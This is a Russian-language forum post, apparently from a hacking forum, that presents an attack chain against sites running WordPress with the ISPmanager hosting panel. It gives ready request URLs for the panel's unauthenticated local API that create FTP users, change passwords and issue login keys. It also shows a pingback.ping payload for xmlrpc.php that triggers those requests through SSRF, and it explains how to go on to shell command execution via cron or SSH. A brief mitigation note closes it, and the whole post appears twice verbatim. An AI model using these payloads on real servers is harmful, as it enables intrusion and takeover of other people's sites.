Grenaro
15.09.2016, 14:27
Нашел сам. Вроде в паблике еще не было.
Фича №1) В ISPmanager имеется возможность управления через api без авторизации. Просто отправляем GET запрос на внутренний адрес http://127.0.0.1/manager и панель автоматически, работая от рута, распознает от какого пользователя был отправлен запрос и выполняет его с правами этого пользователя. Примеры:
Создать ftp-пользователя к корневой папке пользователя:
http://127.0.0.1/manager/ispmgr?nam...t=0¬e=&func=ftp.edit&elid=&sok=ok&out=json (http://127.0.0.1/manager/ispmgr?name=[ftpuser]&passwd=[pass]&htype=equalme&dir=&disklimit=0¬e=&func=ftp.edit&elid=&sok=ok&out=json)
Cмена пароля пользователя(нужно знать имя пользователя, чтобы потом авторизоваться):
http://127.0.0.1/manager/ispmgr?out...nfirm=[pass]&func=usrparam&elid=[user]&sok=ok (http://127.0.0.1/manager/ispmgr?out=json&name=[user]&passwd=[pass]&confirm=[pass]&func=usrparam&elid=[user]&sok=ok)
Создать ключ для авторизации по ключу(нужно знать имя пользователя, чтобы потом авторизоваться):
http://127.0.0.1/manager/ispmgr?out=xml&func=session.newkey&username=&key=98946945603567567567567
+
Фича №2) В wordpress имеется возможность отправлять запросы от сервера через функцию pingback в файле xmlrpc.php. Нужно лишь знать путь к существующей странице на сайте. Отправляем POST запрос к скрипту http://site.com/xmlrpc.php вида:
Code:
pingback.ping
http://site.com/manager/ispmgr?name=[ftpuser]&passwd=[pass]&htype=equalme&dir=&disklimit=0&note=&func=ftp.edi t&elid=&sok=ok&out=json
http://site.com/?p=2
и сервер сам к себе отправляет запрос, а панель создает ftp пользователя и заданными именем и паролем. Обычно отправку несанкционированного запроса от сервера называют SSRF уязвимостью, но разработчики Wordpress считают пинговалку фичей и исправлять явно не будут.
=
Получаем 2 фичи, которые никто не будет патчить, но которые дают полный доступ к сайту. Wordpress самая распространенная cms в мире, а isp самая распространенная серверная панель у снг вебмастеров. Проверялось на isp4, но по-моему и в 5-ой версии все так же. Т.к. у многих php работает от пользователя apache или nginx, можно установить пароль к пользователям apache, www-data, nginx. Через них можно авторизоваться в панели и получив доступ к крон-задачам выполнять команды шелла, ну или по ssh подключиться. Прошлой осенью разрабы ispmanager в новых версиях закрыли возможность отправлять запросы к api через пользователя веб-сервера, но запросы обычным пользователем остались. Да и многие не обновляют панели.
Лечение:
Можно удалить файл xmlrpc.php, но ssrf могут быть и в других скриптах, эту уязвимость часто игнорируют. Если не пользуетесь api - отключите его в файл-конфиге isp.
Фича №1) В ISPmanager имеется возможность управления через api без авторизации. Просто отправляем GET запрос на внутренний адрес http://127.0.0.1/manager и панель автоматически, работая от рута, распознает от какого пользователя был отправлен запрос и выполняет его с правами этого пользователя. Примеры:
Создать ftp-пользователя к корневой папке пользователя:
http://127.0.0.1/manager/ispmgr?nam...t=0¬e=&func=ftp.edit&elid=&sok=ok&out=json (http://127.0.0.1/manager/ispmgr?name=[ftpuser]&passwd=[pass]&htype=equalme&dir=&disklimit=0¬e=&func=ftp.edit&elid=&sok=ok&out=json)
Cмена пароля пользователя(нужно знать имя пользователя, чтобы потом авторизоваться):
http://127.0.0.1/manager/ispmgr?out...nfirm=[pass]&func=usrparam&elid=[user]&sok=ok (http://127.0.0.1/manager/ispmgr?out=json&name=[user]&passwd=[pass]&confirm=[pass]&func=usrparam&elid=[user]&sok=ok)
Создать ключ для авторизации по ключу(нужно знать имя пользователя, чтобы потом авторизоваться):
http://127.0.0.1/manager/ispmgr?out=xml&func=session.newkey&username=&key=98946945603567567567567
+
Фича №2) В wordpress имеется возможность отправлять запросы от сервера через функцию pingback в файле xmlrpc.php. Нужно лишь знать путь к существующей странице на сайте. Отправляем POST запрос к скрипту http://site.com/xmlrpc.php вида:
Code:
pingback.ping
http://site.com/manager/ispmgr?name=[ftpuser]&passwd=[pass]&htype=equalme&dir=&disklimit=0&note=&func=ftp.edi t&elid=&sok=ok&out=json
http://site.com/?p=2
и сервер сам к себе отправляет запрос, а панель создает ftp пользователя и заданными именем и паролем. Обычно отправку несанкционированного запроса от сервера называют SSRF уязвимостью, но разработчики Wordpress считают пинговалку фичей и исправлять явно не будут.
=
Получаем 2 фичи, которые никто не будет патчить, но которые дают полный доступ к сайту. Wordpress самая распространенная cms в мире, а isp самая распространенная серверная панель у снг вебмастеров. Проверялось на isp4, но по-моему и в 5-ой версии все так же. Т.к. у многих php работает от пользователя apache или nginx, можно установить пароль к пользователям apache, www-data, nginx. Через них можно авторизоваться в панели и получив доступ к крон-задачам выполнять команды шелла, ну или по ssh подключиться. Прошлой осенью разрабы ispmanager в новых версиях закрыли возможность отправлять запросы к api через пользователя веб-сервера, но запросы обычным пользователем остались. Да и многие не обновляют панели.
Лечение:
Можно удалить файл xmlrpc.php, но ssrf могут быть и в других скриптах, эту уязвимость часто игнорируют. Если не пользуетесь api - отключите его в файл-конфиге isp.